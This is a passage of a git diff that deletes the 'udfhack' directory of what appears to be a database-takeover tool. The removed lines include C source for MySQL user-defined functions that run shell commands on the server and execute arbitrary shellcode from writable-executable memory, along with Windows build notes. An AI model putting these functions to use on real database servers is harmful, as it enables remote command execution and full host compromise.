"Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_exec_deinit( - UDF_INIT *initid -){ -} - -my_ulonglong sys_exec( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -){ - return system(args->args[0]); -} - -my_bool sys_eval_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - unsigned int i=0; - if(args->arg_count == 1 - && args->arg_type[i]==STRING_RESULT){ - return 0; - } else { - strcpy( - message - , "Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_eval_deinit( - UDF_INIT *initid -){ -} - -char* sys_eval( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - FILE *pipe; - char *line; - unsigned long outlen, linelen; - - line = (char *)malloc(1024); - result = (char *)malloc(1); - outlen = 0; - - result[0] = (char)0; - - pipe = popen(args->args[0], "r"); - - while (fgets(line, sizeof(line), pipe) != NULL) { - linelen = strlen(line); - result = (char *)realloc(result, outlen + linelen); - strncpy(result + outlen, line, linelen); - outlen = outlen + linelen; - } - - pclose(pipe); - - if (!(*result) || result == NULL) { - *is_null = 1; - } else { - result[outlen-1] = 0x00; - *length = strlen(result); - } - - return result; -} - -my_bool sys_bineval_init( - UDF_INIT *initid -, UDF_ARGS *args -){ - return 0; -} - -void sys_bineval_deinit( - UDF_INIT *initid -){ - -} - -int sys_bineval( - UDF_INIT *initid -, UDF_ARGS *args -){ - size_t len; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - int pID; - char *code; -#else - int *addr; - size_t page_size; - pid_t pID; -#endif - - len = (size_t)strlen(args->args[0]); - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - // allocate a +rwx memory page - code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - strncpy(code, args->args[0], len); - - WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); -#else - pID = fork(); - if(pID<0) - return 1; - - if(pID==0) - { - page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size - page_size = (len+page_size) & ~(page_size); // align to page boundary - - // mmap an rwx memory page - addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); - - if (addr == MAP_FAILED) - return 1; - - strncpy((char *)addr, args->args[0], len); - - ((void (*)(void))addr)(); - } - - if(pID>0) - waitpid(pID, 0, WNOHANG); -#endif - - return 0; -} - -#if defined(_WIN64) -void __exec_payload(LPVOID); - -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __exec_payload(lpParameter); - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - } - - return 0; -} -#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __asm - { - mov eax, [lpParameter] - call eax - } - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - } - - return 0; -} -#endif - -#endif /* HAVE_DLOPEN */ diff --git a/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj b/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj deleted file mode 100644 index e74941405c7fa5db59a9f76cdb98e3dd0a39dbf1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7770 zcmeGh{cqYv^k*vde?Y9N8g&leACX~`v7tqSCWDl8QY3WP2V7$N+_OzdxBc&X_u+uk zxFONDt`ibQ_T9U8@7}%d*Zz6qx%o9_A)$V!P(Cgd^4PbjL;Pi@a6x>BehRg6rCurg z{L}Mi?I{UkJeUbCu=ic#%prctkIwOY;8x@EJanYEKft=y_qTh02P zeA$@Nh$9UHWM^PLM{J3sJ_D#vlwIG_R6c1m%2kd8&X#MRxhPst=7s!g`^i5P*}#x$ zg~R8HnJ}A1Z41#ZrjWMJDRukA#cB%+FHr18$*96JUX&ZBlMy^$RZ4`k+Pdk;l-;7bz_bS29I96N@3ze9SKTu z13$vd!wx|aPA$(`kQ$eABKepzSBN1S&`ogEDX2lg+??Q+pkJ|nYMwFNjfv~@*4P(p zlk~{jxNm_OhY|I}8qT<{gO7~K=<5(u^TTLpp$NUfJ_e>!_Au6|d4cB>%+|!lAmf{x zN39(Vtl>U;m_w6#0m#k{MY+=;A|ClHgrids`UkRXI1b@=jNE~5g9hGSA;BS+fwQ4; z-aj3WW)tg|nKc+6T@neWzj!tJZSw1IHtCJ0y>V(z@(q+22aMV{3@HQYCcfAS(7rXM zy_q#UJ?p(wpd*;{kUIvcgd6P?A{Jvc)kPt($FUF8V{?V=Yd|3M6sT9jLo#QG%WN`! zftU|gYlzp_-Hr;GANX9Y1sD3_rBjePs?_*C!5JYREwMAkA&r@hzhrK<%spid@NG!^ z>%HZg1E;Qfd#Q>uiC$)1s$#VgMtql1sr!%ybcE~`@xjKH<=Six7@WL)q!zeL7C78X zl|NYK2wmfS&~`(6U(o)>q`^KojUWKWK^A0}?b$3iqhXY7s@lbrMU>7YHS~quPW;Nl zRy%Py!eC!M!HVyTAVu)Osz1Ubq^){R>Q~QS6GnXxT-&Vy%NDSM!GDy&S8gJkp9h1# zE5H$B=-xjH0Dt_yuHDwd>8K1IAfH4HyD$)9{6pEd1CsC%+rwtStE62scY{C1f`;zz#!+~MG5_AfW3z05zATqG*Kmjl{XC%$RP>0fm-hm3=}naf+-lglnO zEsz@~wZA9(nq(oA_*CQKq;*@XQd+PrVI4A>hpORE$Y}1AwPcH88#M4tpk2K4z0(eX zS7-$6RK6yn_L>(UGG37&oq`<%x~<#r+iY|PFLdg-I)P^uTCijj&qgkL?~{)) z9ym~15fwb%VCtLAYO`O~%%)M-YSm^#GfIty22H1m)vQ;HO201}OgYgVf`$+$L$)Kp zuR=9>jn7cD>J*MIXEVIP_AEd*E=A5U?5md8sH+A3+Sldh%J=B1j} zYW2EWqf+m8d-Y1M+wbm*#sick{eb&uW42Cgs@pNs=U$*Y?owxV1)fNs6JKY`P+yXT zeiba?!QxM6INazU#|!?a2mVt3gw~mdX*4aPVRRc>zf~$}HM`W(THU6hwW{52xl%R^ ft5nW9jO4yl<2NpygPG>sZx^>8?czN>VF3CIPH;+k diff --git a/extra/udfhack/windows/64/lib_postgresqludf_sys/README.txt b/extra/udfhack/windows/64/lib_postgresqludf_sys/README.txt deleted file mode 100644 index 1a398acfd..000000000 --- a/extra/udfhack/windows/64/lib_postgresqludf_sys/README.txt +++ /dev/null @@ -1 +0,0 @@ -PostgreSQL < 9.0 does not compile under Windows 64-bit. diff --git a/extra/udfhack/windows/README.txt b/extra/udfhack/windows/README.txt deleted file mode 100644 index 30226a391..000000000 --- a/extra/udfhack/windows/README.txt +++ /dev/null @@ -1,32 +0,0 @@ -Before compiling, certain enviroment variables have to be set, -depending on the project used. For project lib_mysqludf_sys variables -PLATFORM_SDK_DIR and MYSQL_SERVER_DIR have to be set, while for project -lib_postgresqludf_sys variables PLATFORM_SDK_DIR and -POSTGRESQL_SERVER_DIR. - -Variables: --------------------------------------------------------------------------- -Variable name Variable description --------------------------------------------------------------------------- -PLATFORM_SDK_DIR Directory where the Platform SDK is installed -MYSQL_SERVER_DIR Directory where the MySQL is installed -POSTGRESQL_SERVER_DIR Directory where the PostgreSQL is installed - -Procedure for setting environment variables: -My Computer -> Properties -> Advanced -> Environment Variables -User variables -> New - -Sample values: --------------------------------------------------------------------------- -Variable name Variable value --------------------------------------------------------------------------- -PLATFORM_SDK_DIR C:\Program Files\Microsoft Platform SDK for Windows Server 2003 R2 -MYSQL_SERVER_DIR C:\Program Files\MySQL\MySQL Server 5.1 -POSTGRESQL_SERVER_DIR C:\Program Files\PostgreSQL\8.4 - - -Notes: - -To get as small shared libraries as possible compile as follows: -* MySQL Windows 32-bit DLL: use Visual C++ 2005 and strip the library with UPX -* TODO